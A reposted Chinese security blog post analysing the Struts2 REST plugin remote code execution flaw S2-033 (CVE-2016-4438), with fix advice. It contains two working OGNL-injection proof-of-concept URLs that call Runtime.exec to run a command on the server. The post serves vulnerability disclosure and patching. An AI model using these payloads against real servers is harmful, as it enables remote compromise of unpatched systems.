WEB安全

Struts2 最新漏洞S037分析!

字号+ 作者:PKAV-香草 来源:转载 2016-12-28 09:43 我要评论( )

AT: PKAV-香草 无声说安全 发现struts2又出了新漏洞S2-033 官方的的意思是说如果使用了REST插件并且开启了动态方法执行 但是经过研究发现,其实并不需要开启动态......

AT: PKAV-香草 无声说安全

发现struts2又出了新漏洞S2-033

20160616131933

官方的的意思是说如果使用了REST插件并且开启了动态方法执行

20160616131836

但是经过研究发现,其实并不需要开启动态方法执行,因此可以通杀所有安装了REST的struts2,包括官方认为不存在漏洞的 Struts 2.3.20.3, 2.3.24.3 and 2.3.28.1 。官方认为的s033的POC是这样的:

 
http://127.0.0.1:8888/struts2-rest-showcase/orders/3!%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd),index.xhtml?cmd=calc

其实查看另外一处代码,还有另外一个问题

http://127.0.0.1:8888/struts2-rest-showcase/orders/3/methodName

methodName并没有做过滤,而是直接放入了mapping里面最新POC

 
 
 
http://127.0.0.1:8888/struts2-rest-showcase281/orders/3/(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc

20160616131730

6月3号的时候我给struts2官方提交了这个新的高危漏洞(CVE编号CVE-2016-4438),影响所有使用了REST插件的用户(不包 括struts 2.25),此后的几天网上不断有关于s2-033的分析与绕过出来,但是他们大都错误的认为需要开启动态方法执行才能触发漏洞,其实并不需要。正如官方 回复这个漏洞说的

20160616131640

去掉了with ! operator when Dynamic Method Invocation is enabled这句话,因此这个漏洞影响更为广泛。

修复建议:在上一个版本里面也是method出的问题,当时是加入了cleanupActionName方法进行过滤,如果这个地方要修复,也可以加入这个方法过滤一下即可。更新至官方struts2.3.29


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/516.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • Struts2远程命令执行漏洞 S2-045

    Struts2远程命令执行漏洞 S2-045

    2017-03-14 09:20

  • Struts2 远程代码执行漏洞(CVE-2017-5638)(含PoC)

    Struts2 远程代码执行漏洞(CVE-2017-5638)(含PoC)

    2017-03-07 13:45

网友点评
暂时未开启评论功能~